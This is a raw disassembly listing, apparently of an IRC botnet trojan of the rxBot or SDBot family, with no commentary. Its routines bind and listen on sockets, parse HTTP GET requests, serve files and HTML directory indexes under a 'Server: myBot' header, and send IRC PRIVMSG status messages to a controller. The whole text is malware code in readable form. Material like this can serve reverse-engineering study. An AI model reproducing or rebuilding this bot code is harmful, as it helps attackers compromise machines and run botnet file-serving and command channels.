0E850006Ah, 0C690h, 858D5059h dd 0FFFFF940h, 875FF50h, 0AFC415FFh, 0F883004Ch, 43840FFFh dd 0FFFFFFFFh, 4CDCC405h, 0FF38E900h, 0FF57FFFFh, 4CB00C15h dd 54B5FF00h, 0E8FFFFFFh, 0FFFFCA8Ah, 0E8006A59h, 22B1670h db 90h byte_40E991 db 55h, 8Bh, 0ECh ; DATA XREF: sub_40BACD+22Ao dd 0A70EC81h, 458B0000h, 57565308h, 0A9B9016Ah, 8B000000h dd 20BD8DF0h, 5BFFFFF9h, 9889A5F3h, 2A0h, 0F590858Dh, 0F633FFFFh dd 1016850h, 5D890000h, 0D45D89E4h, 89DC5D89h, 0FFFDD4B5h dd 0C4B589FFh, 0E8FFFFFBh, 716A57FAh, 6A535690h, 5238E802h dd 8B90716Ah, 4271F435h, 0E44D8D00h, 0BF51046Ah, 0FFFFh dd 5057046Ah, 0FFF84589h, 0D4458DD6h, 6A50046Ah, 7D8B57FBh dd 0D6FF57F8h, 50DC458Dh, 4667E68h, 37E85780h, 90716A2Bh dd 0ACB0A166h, 6583004Ch, 665000B8h, 2B445C7h, 7415FF00h dd 66004CAFh, 8DB64589h, 106AB445h, 83E85750h, 90716A54h dd 77DC085h, 60E9C38Bh, 6A000005h, 0E890570Ah, 716A7382h dd 0FDD49D89h, 1D8BFFFFh, 427224h, 0FDD8BD89h, 7D89FFFFh dd 8D416AFCh, 0FFFDD4B5h, 0BD8D59FFh, 0FFFFFBC4h, 0F633A5F3h dd 0FBC4858Dh, 5656FFFFh, 458B5056h, 905040FCh, 6A2DF3E8h dd 0FFF88371h, 50E840Fh, 0FF330000h, 89FC7539h, 0C57C087Dh dd 646AF633h, 0FD60858Dh, 5056FFFFh, 0CACFE8h, 8D646A00h dd 0FFFF5085h, 0E85056FFh, 0CAC0h, 8D18C483h, 0FFFBC485h dd 0E85750FFh, 17C76h, 840FC085h, 4BAh, 75F87D3Bh, 0F0458D7Ah dd 10F045C7h, 50000000h, 0FDC4858Dh, 0FF50FFFFh, 0E890F875h dd 716A9B85h, 0FFFF883h, 49184h, 39C93300h, 0FFFDD4B5h dd 8D1676FFh, 0FFFDD895h, 740239FFh, 0C283410Ch, 0D48D3B04h dd 72FFFFFDh, 0D48D3BF0h, 75FFFFFDh, 0D4BD8316h, 40FFFFFDh dd 84890D73h, 0FFFDD88Dh, 0D485FFFFh, 3BFFFFFDh, 37EFC45h dd 56FC4589h, 0DC68156Ah, 50004337h, 3BE9D3FFh, 56000004h dd 0FD60858Dh, 646AFFFFh, 0E8905750h, 716A6B18h, 527FC085h dd 0FDD4958Bh, 0C933FFFFh, 3A76D63Bh, 0FDD8858Dh, 3839FFFFh dd 83410A74h, 0CA3B04C0h, 26EBF472h, 73CA3B4Ah, 8D848D1Bh dd 0FFFFFDD8h, 4104508Bh, 958B1089h, 0FFFFFDD4h, 4A04C083h dd 0EC72CA3Bh, 0FDD48DFFh, 9057FFFFh, 6A2EA4E8h, 3D4E971h dd 858D0000h, 0FFFFFCC8h, 50858D50h, 50FFFFFFh, 0FD60858Dh dd 0D468FFFFh, 50004337h, 0DA58E8h, 50858D00h, 68FFFFFFh dd 4337CCh, 0D472E850h, 0C4830000h, 75C08518h, 166A560Dh dd 4337B468h, 82E900h, 858D0000h, 0FFFFFF50h, 4337AC68h dd 4DE85000h, 590000D4h, 7559C085h, 146A560Ah, 43379468h dd 8D61EB00h, 0FFFF5085h, 378C68FFh, 0E8500043h, 0D42Ch dd 59C08559h, 6A560A75h, 377C680Dh, 40EB0043h, 0FF50858Dh dd 7468FFFFh, 50004337h, 0D40BE8h, 0C0855900h, 560A7559h dd 6068106Ah, 0EB004337h, 50858D1Fh, 68FFFFFFh, 43375Ch dd 0D3EAE850h, 85590000h, 0E7559C0h, 681E6A56h, 43373Ch dd 2F1E957h, 34BF0000h, 8D004337h, 0FFFF5085h, 0E85057FFh dd 0D3C4h, 59C08559h, 858D2475h, 0FFFFFCC8h, 43373068h dd 0ADE85000h, 590000D3h, 7559C085h, 136A560Dh, 43371C68h dd 2B2E900h, 858D0000h, 0FFFFFF50h, 8DE85057h, 590000D3h dd 7559C085h, 0C8858D24h, 68FFFFFCh, 433718h, 0D376E850h dd 85590000h, 0D7559C0h, 68136A56h, 433704h, 27BE9h, 50858D00h dd 68FFFFFFh, 4336FCh, 0D352E850h, 85590000h, 347559C0h dd 0D0BE0A6Ah, 59004336h, 0FED8BD8Dh, 0A5F3FFFFh, 0D8858D50h dd 50FFFFFEh, 9DE8A566h, 590000C2h, 0D8858D50h, 50FFFFFEh dd 0FF0875FFh, 0E9F633D3h, 235h, 0FF50858Dh, 0C868FFFFh dd 50004336h, 0D307E8h, 0C0855900h, 6A2A7559h, 36B0BE05h dd 8D590043h, 0FFFF38BDh, 66A5F3FFh, 858D50A5h, 0FFFFFF38h dd 51E8A450h, 590000C2h, 38858D50h, 0EBFFFFFFh, 50858DB2h dd 68FFFFFFh, 4336A8h, 0D2C6E850h, 85590000h, 850F59C0h dd 0B6h, 0FD2C858Dh, 8D50FFFFh, 0FFFF0485h, 458D50FFh dd 458D50ECh, 458D50E8h, 458D50E0h, 858D50D8h, 0FFFFFD60h dd 43368068h, 62E85000h, 8D0000D8h, 0FFFF0485h, 8AE850FFh dd 8B0000C9h, 2C858DF8h, 50FFFFFDh, 0C97CE8h, 0F4458900h dd 858D326Ah, 0FFFFFF04h, 81E85056h, 830000C7h, 858D34C4h dd 0FFFFFF04h, 57F475FFh, 43367868h, 5FE85000h, 6A0000CAh dd 4858D10h, 56FFFFFFh, 0CF8FE850h, 0C4830000h, 0F445891Ch dd 50EC458Dh, 50E8458Dh, 50E0458Dh, 50D8458Dh, 68C4458Dh dd 43366Ch, 0CA2CE850h, 0C4830000h, 1D6A5618h, 43364C68h dd 11EE900h, 858D0000h, 0FFFFFF50h, 43364468h, 0F5E85000h dd 590000D1h, 0F59C085h, 0E485h, 286A5600h, 43361868h dd 875FF00h, 75FFD3FFh, 0C4458DF4h, 120E850h, 83590000h dd 0F5901F8h, 0B685h, 0C4458D00h, 20858D50h, 68FFFFF7h dd 4335FCh, 0C9C8E850h, 0C4830000h, 0BCB5390Ch, 75FFFFFBh dd 858D5623h, 0FFFFF720h, 0FBB8B5FFh, 8D50FFFFh, 0FFFB3885h dd 0B5FF50FFh, 0FFFFF920h, 0FFAB89E8h, 14C483FFh, 14AE8h dd 1F88300h, 93850Fh, 6A560000h, 35E46817h, 75FF0043h dd 8DD3FF08h, 8D50C445h, 0FFF72085h, 35C468FFh, 0E8500043h dd 0C96Ah, 390CC483h, 0FFFBBCB5h, 562375FFh, 0F720858Dh dd 0B5FFFFFFh, 0FFFFFBB8h, 38858D50h, 50FFFFFBh, 0F920B5FFh dd 2BE8FFFFh, 83FFFFABh, 858D14C4h, 0FFFFF720h, 6256E850h dd 5FF0000h, 4CDA80h, 562EEB59h, 0A068206Ah, 0EB004335h dd 50858D1Fh, 68FFFFFFh, 42C98Ch, 0D0F6E850h, 85590000h dd 0D7559C0h, 681B6A56h, 433584h, 0FF0875FFh, 8D646AD3h dd 0FFFD6085h, 0E85056FFh, 0C5F4h, 83087D8Bh, 3B470CC4h dd 7D89FC7Dh, 18E0F08h, 0E9FFFFFBh, 0FFFFFAC1h, 5F58016Ah dd 0C2C95B5Eh db 4, 0 ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 1A0h lea eax, [ebp-1A0h] push eax push 101h nop call near ptr 71AB41DAh push 0 push 1 push 2 call near ptr 71AB3C22h nop push dword ptr [ebp+8] mov dword_4CDCC8, eax mov word ptr [ebp-10h], 2 call near ptr 71AB12F8h nop push dword ptr [ebp+0Ch] mov [ebp-0Ch], eax call near ptr 71AB1746h nop mov [ebp-0Eh], ax lea eax, [ebp-10h] push 10h push eax push dword_4CDCC8 nop call near ptr 71AB3E5Dh cmp eax, 0FFFFFFFFh jnz short loc_40F036 push dword_4CDCC8 nop call near ptr 71AB1A6Dh nop call near ptr 71AB1836h xor eax, eax leave retn ; --------------------------------------------------------------------------- loc_40F036: ; CODE XREF: ___:0040F01Ej push 1 pop eax leave retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 504h push esi lea eax, [ebp-104h] push 104h push eax push 0 nop call near ptr 2650000h lea eax, [ebp-104h] push offset dword_429068 push eax call sub_41B4C2 mov esi, eax pop ecx test esi, esi pop ecx jz short loc_40F0D2 test byte ptr [esi+0Ch], 10h jnz short loc_40F0B6 push edi mov edi, 400h loc_40F07E: ; CODE XREF: ___:0040F0B3j push esi push 1 lea eax, [ebp-504h] push edi push eax call sub_41B11A add esp, 10h lea eax, [ebp-504h] push 0 push edi push eax push dword_4CDCC8 call near ptr 71AB1AF4h nop push 1 call near ptr 26604A7h nop test byte ptr [esi+0Ch], 10h jz short loc_40F07E pop edi loc_40F0B6: ; CODE XREF: ___:0040F076j push esi call sub_41B05B pop ecx push dword_4CDCC8 call near ptr 71AB1A6Dh nop nop call near ptr 71AB1836h push 1 pop eax loc_40F0D2: ; CODE XREF: ___:0040F070j pop esi leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40F0D5 proc near ; DATA XREF: sub_401ACD+2283o ; sub_40BACD+475o var_28F0 = byte ptr -28F0h var_18F0 = byte ptr -18F0h var_8F0 = byte ptr -8F0h var_6F0 = byte ptr -6F0h var_5EC = dword ptr -5ECh var_5E8 = byte ptr -5E8h var_360 = byte ptr -360h var_25C = dword ptr -25Ch var_254 = dword ptr -254h var_250 = dword ptr -250h var_24C = dword ptr -24Ch var_248 = dword ptr -248h var_23C = byte ptr -23Ch var_138 = dword ptr -138h var_134 = dword ptr -134h var_34 = byte ptr -34h var_24 = word ptr -24h var_22 = word ptr -22h var_20 = dword ptr -20h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 28F0h call sub_41BB20 mov eax, [ebp+arg_0] push ebx push esi push edi mov ecx, 0ECh mov esi, eax lea edi, [ebp+var_5EC] push 1 rep movsd pop esi xor ebx, ebx mov [eax+3ACh], esi push 10h lea eax, [ebp+var_24] push ebx push eax mov [ebp+var_14], esi call sub_41B590 add esp, 0Ch mov [ebp+var_24], 2 push [ebp+var_25C] call dword_4CAF74 push ebx push esi push 2 mov [ebp+var_22], ax mov [ebp+var_20], ebx call dword_4CAFF4 mov edi, eax cmp edi, 0FFFFFFFFh mov [ebp+var_C], edi jz loc_40F4C0 mov eax, [ebp+var_254] push 10h imul eax, 234h mov dword_43DEBC[eax], edi lea eax, [ebp+var_24] push eax push edi call dword_4CAFA0 cmp eax, 0FFFFFFFFh jz loc_40F4C0 push 7FFFFFFFh push edi call dword_4CAF9C cmp eax, 0FFFFFFFFh jz loc_40F4C0 lea eax, [ebp+var_14] push eax push 8004667Eh push edi call dword_4CB010 cmp eax, 0FFFFFFFFh jz loc_40F4C0 mov ebx, esi mov [ebp+var_134], edi mov [ebp+var_138], ebx mov [ebp+var_8], edi loc_40F1AC: ; CODE XREF: sub_40F0D5+3E1j push 41h xor eax, eax pop ecx lea esi, [ebp+var_138] push eax push eax push eax lea eax, [ebp+var_6F0] push eax mov eax, [ebp+var_8] lea edi, [ebp+var_6F0] inc eax rep movsd push eax call dword_4CAF5C cmp eax, 0FFFFFFFFh jz loc_40F4BB xor esi, esi mov [ebp+var_4], esi loc_40F1E2: ; CODE XREF: sub_40F0D5+3DBj lea eax, [ebp+var_6F0] push eax push esi call dword_4CAE60 test eax, eax jz loc_40F4A6 cmp esi, [ebp+var_C] jnz short loc_40F264 lea eax, [ebp+var_10] mov [ebp+var_10], 10h push eax lea eax, [ebp+var_34] push eax push [ebp+var_C] call dword_4CB008 cmp eax, 0FFFFFFFFh jz loc_40F4A6 xor ecx, ecx test ebx, ebx jbe short loc_40F236 lea edx, [ebp+var_134] loc_40F22A: ; CODE XREF: sub_40F0D5+15Fj cmp [edx], eax jz short loc_40F236 inc ecx add edx, 4 cmp ecx, ebx jb short loc_40F22A loc_40F236: ; CODE XREF: sub_40F0D5+14Dj ; sub_40F0D5+157j cmp ecx, ebx jnz short loc_40F253 cmp ebx, 40h jnb short loc_40F253 mov [ebp+ecx*4+var_134], eax mov ebx, [ebp+var_138] inc ebx mov [ebp+var_138], ebx loc_40F253: ; CODE XREF: sub_40F0D5+163j ; sub_40F0D5+168j cmp eax, [ebp+var_8] jbe loc_40F4A6 mov [ebp+var_8], eax jmp loc_40F4A6 ; --------------------------------------------------------------------------- loc_40F264: ; CODE XREF: sub_40F0D5+126j mov edi, 1000h lea eax, [ebp+var_28F0] push edi push 0 push eax call sub_41B590 push edi lea eax, [ebp+var_18F0] push 0 push eax call sub_41B590 add esp, 18h lea eax, [ebp+var_28F0] push 0 push edi push eax push esi call dword_4CAF8C test eax, eax jg short loc_40F2F7 push esi call dword_4CB00C xor ecx, ecx test ebx, ebx jbe loc_40F4A6 lea eax, [ebp+var_134] loc_40F2B6: ; CODE XREF: sub_40F0D5+1EBj cmp [eax], esi jz short loc_40F2C7 inc ecx add eax, 4 cmp ecx, ebx jb short loc_40F2B6 jmp loc_40F4A6 ; --------------------------------------------------------------------------- loc_40F2C7: ; CODE XREF: sub_40F0D5+1E3j lea eax, [ebx-1] cmp ecx, eax jnb short loc_40F2EB lea eax, [ebp+ecx*4+var_134] loc_40F2D5: ; CODE XREF: sub_40F0D5+214j mov edx, [eax+4] inc ecx mov [eax], edx mov ebx, [ebp+var_138] add eax, 4 lea edx, [ebx-1] cmp ecx, edx jb short loc_40F2D5 loc_40F2EB: ; CODE XREF: sub_40F0D5+1F7j dec ebx mov [ebp+var_138], ebx jmp loc_40F4A6 ; --------------------------------------------------------------------------- loc_40F2F7: ; CODE XREF: sub_40F0D5+1C8j xor esi, esi push 104h lea eax, [ebp+var_23C] push esi push eax call sub_41B590 lea eax, [ebp+var_28F0] mov [ebp+arg_0], esi push eax call sub_41AFE0 add esp, 10h test eax, eax jbe loc_40F4A6 loc_40F325: ; CODE XREF: sub_40F0D5+309j mov eax, [ebp+arg_0] mov al, [ebp+eax+var_28F0] cmp al, 0Ah mov [ebp+esi+var_18F0], al jnz loc_40F3CA mov esi, offset aGet_0 ; "GET " lea eax, [ebp+var_18F0] push esi push eax call sub_41B900 pop ecx test eax, eax pop ecx jz short loc_40F39E lea eax, [ebp+var_18F0] push eax call sub_41AFE0 cmp eax, 5 pop ecx jbe short loc_40F39E mov eax, offset asc_42CA2C ; " " push eax push eax lea eax, [ebp+var_18F0] push esi push eax call sub_41B900 pop ecx pop ecx push eax call sub_41B900 pop ecx pop ecx push eax call sub_41C0F4 push eax lea eax, [ebp+var_23C] push eax call sub_41BEB0 add esp, 10h jmp short loc_40F3B5 ; --------------------------------------------------------------------------- loc_40F39E: ; CODE XREF: sub_40F0D5+27Fj ; sub_40F0D5+291j lea eax, [ebp+var_18F0] push offset asc_43381C ; "\r\n" push eax call sub_41C070 pop ecx test eax, eax pop ecx jz short loc_40F3E9 loc_40F3B5: ; CODE XREF: sub_40F0D5+2C7j push edi lea eax, [ebp+var_18F0] push 0 push eax call sub_41B590 add esp, 0Ch or esi, 0FFFFFFFFh loc_40F3CA: ; CODE XREF: sub_40F0D5+263j inc [ebp+arg_0] lea eax, [ebp+var_28F0] push eax inc esi call sub_41AFE0 cmp [ebp+arg_0], eax pop ecx jb loc_40F325 jmp loc_40F4A6 ; --------------------------------------------------------------------------- loc_40F3E9: ; CODE XREF: sub_40F0D5+2DEj xor ecx, ecx test ebx, ebx jbe short loc_40F433 lea eax, [ebp+var_134] loc_40F3F5: ; CODE XREF: sub_40F0D5+32Dj mov esi, [ebp+var_4] cmp [eax], esi jz short loc_40F406 inc ecx add eax, 4 cmp ecx, ebx jb short loc_40F3F5 jmp short loc_40F436 ; --------------------------------------------------------------------------- loc_40F406: ; CODE XREF: sub_40F0D5+325j lea eax, [ebx-1] cmp ecx, eax jnb short loc_40F42A lea eax, [ebp+ecx*4+var_134] loc_40F414: ; CODE XREF: sub_40F0D5+353j mov edx, [eax+4] inc ecx mov [eax], edx mov ebx, [ebp+var_138] add eax, 4 lea edx, [ebx-1] cmp ecx, edx jb short loc_40F414 loc_40F42A: ; CODE XREF: sub_40F0D5+336j dec ebx mov [ebp+var_138], ebx jmp short loc_40F436 ; --------------------------------------------------------------------------- loc_40F433: ; CODE XREF: sub_40F0D5+318j mov esi, [ebp+var_4] loc_40F436: ; CODE XREF: sub_40F0D5+32Fj ; sub_40F0D5+35Cj lea eax, [ebp+var_23C] test eax, eax jz short loc_40F49F lea eax, [ebp+var_360] push eax call sub_41AFE0 mov edi, eax lea eax, [ebp+var_23C] push eax call sub_41AFE0 add edi, eax pop ecx cmp edi, 104h pop ecx jnb short loc_40F49F and [ebp+arg_0], 0 lea eax, [ebp+arg_0] push eax push 8004667Eh push esi call dword_4CB010 push [ebp+var_254] lea eax, [ebp+var_23C] push [ebp+var_248] push eax lea eax, [ebp+var_360] push eax push esi call sub_40F6B3 add esp, 14h jmp short loc_40F4A6 ; --------------------------------------------------------------------------- loc_40F49F: ; CODE XREF: sub_40F0D5+369j ; sub_40F0D5+38Fj push esi call dword_4CB00C loc_40F4A6: ; CODE XREF: sub_40F0D5+11Dj ; sub_40F0D5+143j ... mov esi, [ebp+var_4] inc esi cmp esi, [ebp+var_8] mov [ebp+var_4], esi jbe loc_40F1E2 jmp loc_40F1AC ; --------------------------------------------------------------------------- loc_40F4BB: ; CODE XREF: sub_40F0D5+102j mov edi, [ebp+var_C] xor ebx, ebx loc_40F4C0: ; CODE XREF: sub_40F0D5+6Aj ; sub_40F0D5+92j ... call dword_4CAF08 push eax lea eax, [ebp+var_8F0] push offset unk_4337F4 push eax call sub_41B886 add esp, 0Ch cmp [ebp+var_24C], ebx jnz short loc_40F506 push ebx lea eax, [ebp+var_8F0] push [ebp+var_250] push eax lea eax, [ebp+var_5E8] push eax push [ebp+var_5EC] call sub_409A72 add esp, 14h loc_40F506: ; CODE XREF: sub_40F0D5+40Cj lea eax, [ebp+var_8F0] push eax call sub_4151AC pop ecx push edi call dword_4CB00C push [ebp+var_254] call sub_40B412 pop ecx push ebx call near ptr 26C0000h nop pop edi pop esi pop ebx sub_40F0D5 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40F530 proc near ; DATA XREF: sub_40F6B3+24Do var_1654 = byte ptr -1654h var_654 = byte ptr -654h var_550 = byte ptr -550h var_44C = dword ptr -44Ch var_3C8 = byte ptr -3C8h var_2C4 = byte ptr -2C4h var_B8 = dword ptr -0B8h var_B4 = dword ptr -0B4h var_A4 = dword ptr -0A4h var_9C = byte ptr -9Ch var_68 = byte ptr -68h var_20 = byte ptr -20h arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 1654h call sub_41BB20 mov eax, [ebp+arg_0] push esi push edi mov ecx, 0ECh mov esi, eax lea edi, [ebp+var_44C] rep movsd mov dword ptr [eax+3ACh], 1 lea eax, [ebp+var_3C8] push eax lea eax, [ebp+var_550] push eax call sub_41B886 pop ecx lea eax, [ebp+var_2C4] pop ecx push eax lea eax, [ebp+var_654] push eax call sub_41B886 xor edi, edi pop ecx cmp [ebp+var_A4], edi pop ecx jz short loc_40F596 push offset aTextHtml ; "text/html" jmp short loc_40F59B ; --------------------------------------------------------------------------- loc_40F596: ; CODE XREF: sub_40F530+5Dj push offset aApplicationOct ; "application/octet-stream" loc_40F59B: ; CODE XREF: sub_40F530+64j lea eax, [ebp+var_9C] push eax call sub_41B886 pop ecx lea eax, [ebp+var_68] pop ecx mov esi, 409h push 46h push eax push offset aDddDdMmmYyyy ; "ddd, dd MMM yyyy" push edi push edi push esi nop call near ptr 2720000h lea eax, [ebp+var_20] push 1Eh push eax push offset aHhMmSs ; "HH:mm:ss" push edi push edi push esi call near ptr 271157Dh nop lea eax, [ebp+var_20] cmp [ebp+var_B8], 0FFFFFFFFh push eax lea eax, [ebp+var_68] push eax lea eax, [ebp+var_20] push eax lea eax, [ebp+var_68] push eax lea eax, [ebp+var_20] push eax lea eax, [ebp+var_68] push eax jnz short loc_40F614 lea eax, [ebp+var_9C] push eax lea eax, [ebp+var_1654] push offset aHttp1_0200OkSe ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"... push eax call sub_41B886 add esp, 24h jmp short loc_40F635 ; --------------------------------------------------------------------------- loc_40F614: ; CODE XREF: sub_40F530+C5j push [ebp+var_B8] lea eax, [ebp+var_9C] push eax lea eax, [ebp+var_1654] push offset aHttp1_0200Ok_0 ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"... push eax call sub_41B886 add esp, 28h loc_40F635: ; CODE XREF: sub_40F530+E2j lea eax, [ebp+var_1654] push edi push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_1654] push eax push [ebp+var_44C] call dword_4CAFC4 cmp [ebp+var_A4], edi jnz short loc_40F675 lea eax, [ebp+var_550] push eax push [ebp+var_44C] call sub_40FFF0 pop ecx pop ecx jmp short loc_40F692 ; --------------------------------------------------------------------------- loc_40F675: ; CODE XREF: sub_40F530+12Dj lea eax, [ebp+var_654] push eax push edi push [ebp+var_44C] lea eax, [ebp+var_550] push eax call sub_40F96A add esp, 10h loc_40F692: ; CODE XREF: sub_40F530+143j push [ebp+var_44C] call dword_4CB00C push [ebp+var_B4] call sub_40B412 pop ecx push edi call near ptr 26C0000h nop pop edi pop esi sub_40F530 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40F6B3 proc near ; CODE XREF: sub_40F0D5+3C0p var_8C4 = byte ptr -8C4h var_6C4 = dword ptr -6C4h var_640 = byte ptr -640h var_53C = byte ptr -53Ch var_330 = dword ptr -330h var_32C = dword ptr -32Ch var_31C = dword ptr -31Ch var_318 = dword ptr -318h var_314 = byte ptr -314h var_211 = byte ptr -211h var_210 = byte ptr -210h var_10C = byte ptr -10Ch var_10B = byte ptr -10Bh var_10A = byte ptr -10Ah var_8 = byte ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 8C4h push ebx push esi push edi xor edi, edi push 104h lea eax, [ebp+var_210] push edi push eax mov [ebp+var_4], edi call sub_41B590 mov eax, [ebp+arg_8] add esp, 0Ch cmp byte ptr [eax], 2Fh jz short loc_40F6E9 push eax push offset aS_3 ; "\\%s" jmp short loc_40F6F2 ; --------------------------------------------------------------------------- loc_40F6E9: ; CODE XREF: sub_40F6B3+2Cj push eax mov byte ptr [eax], 5Ch push offset aS_1 ; "%s" loc_40F6F2: ; CODE XREF: sub_40F6B3+34j lea eax, [ebp+var_10C] push eax call sub_41B886 add esp, 0Ch lea eax, [ebp+var_10C] xor esi, esi xor ebx, ebx push eax call sub_41AFE0 test eax, eax pop ecx jbe short loc_40F78D mov [ebp+arg_8], 2 loc_40F71D: ; CODE XREF: sub_40F6B3+D8j lea eax, [ebp+var_10C] push eax call sub_41AFE0 cmp [ebp+arg_8], eax pop ecx jnb short loc_40F75D cmp [ebp+esi+var_10C], 25h jnz short loc_40F75D cmp [ebp+esi+var_10B], 32h jnz short loc_40F75D cmp [ebp+esi+var_10A], 30h jnz short loc_40F75D inc esi mov [ebp+ebx+var_210], 20h inc esi add [ebp+arg_8], 2 jmp short loc_40F777 ; --------------------------------------------------------------------------- loc_40F75D: ; CODE XREF: sub_40F6B3+7Aj ; sub_40F6B3+84j ... mov al, [ebp+esi+var_10C] cmp al, 2Fh jnz short loc_40F76D push 5Ch pop eax jmp short loc_40F770 ; --------------------------------------------------------------------------- loc_40F76D: ; CODE XREF: sub_40F6B3+B3j movsx eax, al loc_40F770: ; CODE XREF: sub_40F6B3+B8j mov [ebp+ebx+var_210], al loc_40F777: ; CODE XREF: sub_40F6B3+A8j lea eax, [ebp+var_10C] inc esi inc [ebp+arg_8] push eax inc ebx call sub_41AFE0 cmp esi, eax pop ecx jb short loc_40F71D loc_40F78D: ; CODE XREF: sub_40F6B3+61j lea eax, [ebp+var_210] push eax lea eax, [ebp+var_314] push [ebp+arg_4] push offset dword_4293C4 push eax call sub_41B886 lea eax, [ebp+var_314] push offset asc_429998 ; "\n" push eax call sub_41C0F4 add esp, 18h lea eax, [ebp+var_314] push eax nop call near ptr 2670457h push 1 cmp eax, 10h pop esi jz short loc_40F7DE cmp eax, 0FFFFFFFFh jnz short loc_40F7E1 push [ebp+arg_0] jmp loc_40F861 ; --------------------------------------------------------------------------- loc_40F7DE: ; CODE XREF: sub_40F6B3+11Cj mov [ebp+var_4], esi loc_40F7E1: ; CODE XREF: sub_40F6B3+121j cmp [ebp+ebx+var_211], 5Ch jnz short loc_40F7EE mov [ebp+var_4], esi loc_40F7EE: ; CODE XREF: sub_40F6B3+136j mov ebx, [ebp+arg_0] cmp [ebp+var_4], edi mov [ebp+var_6C4], ebx mov [ebp+var_318], edi jz short loc_40F86C cmp [ebp+arg_C], edi jz short loc_40F860 lea eax, [ebp+var_314] push offset asc_433AA8 ; "*" push eax call sub_41BEC0 pop ecx lea eax, [ebp+var_314] pop ecx push eax lea eax, [ebp+var_640] push eax call sub_41B886 lea eax, [ebp+var_210] push eax call sub_4100AD add esp, 0Ch lea eax, [ebp+var_210] push eax lea eax, [ebp+var_53C] push eax call sub_41B886 or [ebp+var_330], 0FFFFFFFFh pop ecx pop ecx mov [ebp+var_31C], esi jmp short loc_40F8BB ; --------------------------------------------------------------------------- loc_40F860: ; CODE XREF: sub_40F6B3+152j push ebx loc_40F861: ; CODE XREF: sub_40F6B3+126j call dword_4CB00C jmp loc_40F963 ; --------------------------------------------------------------------------- loc_40F86C: ; CODE XREF: sub_40F6B3+14Dj push edi push edi push 3 push edi push esi lea eax, [ebp+var_314] push 80000000h push eax nop call near ptr 26F0930h mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_40F8BB lea eax, [ebp+var_314] push eax lea eax, [ebp+var_640] push eax call sub_41B886 pop ecx mov [ebp+var_31C], edi pop ecx push edi push esi nop call near ptr 2720B20h push esi mov [ebp+var_330], eax nop call near ptr 2640897h loc_40F8BB: ; CODE XREF: sub_40F6B3+1ABj ; sub_40F6B3+1D6j mov esi, [ebp+arg_10] lea eax, [ebp+var_8C4] push esi push offset unk_433A74 push eax call sub_41B886 push edi lea eax, [ebp+var_8C4] push 3 push eax call sub_40B0F6 mov [ebp+var_32C], eax imul eax, 234h add esp, 18h mov dword_43DEB4[eax], esi lea eax, [ebp+var_8] push eax lea eax, [ebp+var_6C4] push edi push eax push offset sub_40F530 push edi push edi call near ptr 266051Eh nop mov ecx, [ebp+var_32C] imul ecx, 234h cmp eax, edi mov dword_43DEC4[ecx], eax jz short loc_40F935 loc_40F923: ; CODE XREF: sub_40F6B3+280j cmp [ebp+var_318], edi jnz short loc_40F963 push 5 nop call near ptr 26604A7h jmp short loc_40F923 ; --------------------------------------------------------------------------- loc_40F935: ; CODE XREF: sub_40F6B3+26Ej push ebx call dword_4CB00C nop call near ptr 2660DCFh push eax lea eax, [ebp+var_8C4] push offset unk_433A3C push eax call sub_41B886 lea eax, [ebp+var_8C4] push eax call sub_4151AC add esp, 10h loc_40F963: ; CODE XREF: sub_40F6B3+1B4j ; sub_40F6B3+276j pop edi pop esi xor eax, eax pop ebx leave retn sub_40F6B3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40F96A proc near ; CODE XREF: sub_401ACD+777Ap ; sub_40F530+15Ap var_594 = byte ptr -594h var_490 = byte ptr -490h var_388 = dword ptr -388h var_374 = byte ptr -374h var_368 = dword ptr -368h var_35C = byte ptr -35Ch var_248 = byte ptr -248h var_48 = byte ptr -48h var_20 = byte ptr -20h var_18 = word ptr -18h var_16 = word ptr -16h var_12 = word ptr -12h var_10 = word ptr -10h var_E = word ptr -0Eh var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 594h push ebx push esi push edi xor ebx, ebx push 104h lea eax, [ebp+var_594] push ebx push eax mov [ebp+var_4], ebx mov [ebp+var_8], ebx call sub_41B590 mov edi, [ebp+arg_0] push offset asc_429998 ; "\n" push edi call sub_41C0F4 add esp, 14h cmp [ebp+arg_8], ebx jz short loc_40F9C9 push edi mov esi, 200h push [ebp+arg_8] lea eax, [ebp+var_248] push offset aPrivmsgSSearch ; "PRIVMSG %s :Searching for: %s\r\n" push esi push eax call sub_41B980 add esp, 14h jmp loc_40FAC8 ; --------------------------------------------------------------------------- loc_40F9C9: ; CODE XREF: sub_40F96A+3Aj cmp [ebp+arg_C], ebx push edi jz loc_40FAAE call sub_41AFE0 pop ecx mov [eax+edi-1], bl push edi mov esi, 200h push offset aHtmlHeadTitleI ; "<HTML>\r\n<HEAD>\r\n<TITLE>Index of %s</TIT"... lea eax, [ebp+var_248] push esi push eax call sub_41B980 add esp, 10h lea eax, [ebp+var_248] push ebx push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4CAFC4 push edi push offset aH1IndexOfSH1Ta ; "<H1>Index of %s</H1>\r\n<TABLE BORDER=\"0\""... lea eax, [ebp+var_248] push esi push eax call sub_41B980 add esp, 10h lea eax, [ebp+var_248] push ebx push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4CAFC4 push edi call sub_41AFE0 pop ecx mov byte ptr [eax+edi], 2Ah push 3Ch push 96h push 0E6h push offset 